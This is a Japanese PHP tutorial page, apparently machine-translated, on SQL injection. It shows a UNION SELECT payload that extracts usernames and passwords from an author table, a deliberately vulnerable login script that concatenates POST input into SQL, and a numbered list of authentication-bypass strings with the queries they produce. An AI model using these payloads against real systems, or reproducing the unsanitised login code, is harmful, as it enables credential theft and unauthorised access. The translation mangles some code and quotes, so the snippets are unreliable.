PHPインジェクション2_PHPチュートリアル

WBOY
リリース: 2016-07-13 16:54:24
オリジナル
801 人が閲覧しました

インジェクションステートメントを作成しましょう
入力ボックスに
a% と 1=2 Union select 1,username,3,4,5,6,7,8,password,10,11 from
alphaauthor# を入力して、 SQL ステートメント
select * from alphadb where title like %a% and 1=2 Union select
1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %
結果は次のようになります図 17 に示されています
どうですか、出てきてください、ははは、すべてが制御されています。
C: インジェクション位置からさまざまなインジェクション攻撃方法を見てみましょう
1) まず、バックグラウンドログインを見てみましょう
最初にコードを作成します
//login.php
....
$query= select * alphaauthor より、UserName= "
.$HTTP_POST_VARS["UserName"]." および
Password= ". $HTTP_POST_VARS["Password"].";
$result=mysql_query($query);
$data= mysql_fetch_array( $result);
if ($data)
{
echo "バックエンドログインが成功しました";
esle
{
exit;
?>
ユーザー名とパスワードは何も処理せずに直接 SQL に入力されて実行されます。
それを回避する方法を見てみましょう?
最も古典的なものは依然として次のとおりです:
ユーザー名とパスワードの両方のボックスに
'or =
と入力し、それを SQL ステートメントに取り込んで
select * from alphaauthor where UserName= or = and Password= or =
Inこのようにして、$ を取得します。データは true である必要があります。これは、正常にログインしたことを意味します。
他のバイパス方法もありますが、原理は同じで、$data が true を返す方法を見つけるだけです。
次の方法を使用できます
1.
ユーザー名とパスワードの両方を入力するか、a = a
Sql は
select * from alphaauthor where UserName= or a = a and Password=
または a = a
2. 両方のユーザー名を入力します。およびパスワードまたは 1=1 および ' =
Sql は
select * from alphaauthor になります。ここで UserName= または 1=1 および ' =
およびパスワード= または 1=1 および ' =
ユーザー名とパスワードの両方を入力するか、2>1 および ' =
Sql は
select * from alphaauthor where UserName= or 2>1 and ' =
and Password= or 2>1 and ' =
3 になります
Username input or 1=1 # Password はオプションです 入力
Sql は
select になります。 * alphaauthor より、UserName= または 1=1 # および
Password= 任意
後半部分はコメントアウトされていますが、もちろん戻り値は true です。
4.




http://www.bkjia.com/PHPjc/631789.html

www.bkjia.com

tru​​ehttp://www.bkjia.com/PHPjc/631789.html技術記事入力ボックスに a% と 1=2 を入力して、alphaauthor # から 1、ユーザー名、3、4、5、6、7、8、パスワード、10、11 を入力して SQL に入力しましょう。 select * from alphadb where t...になるステートメント
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート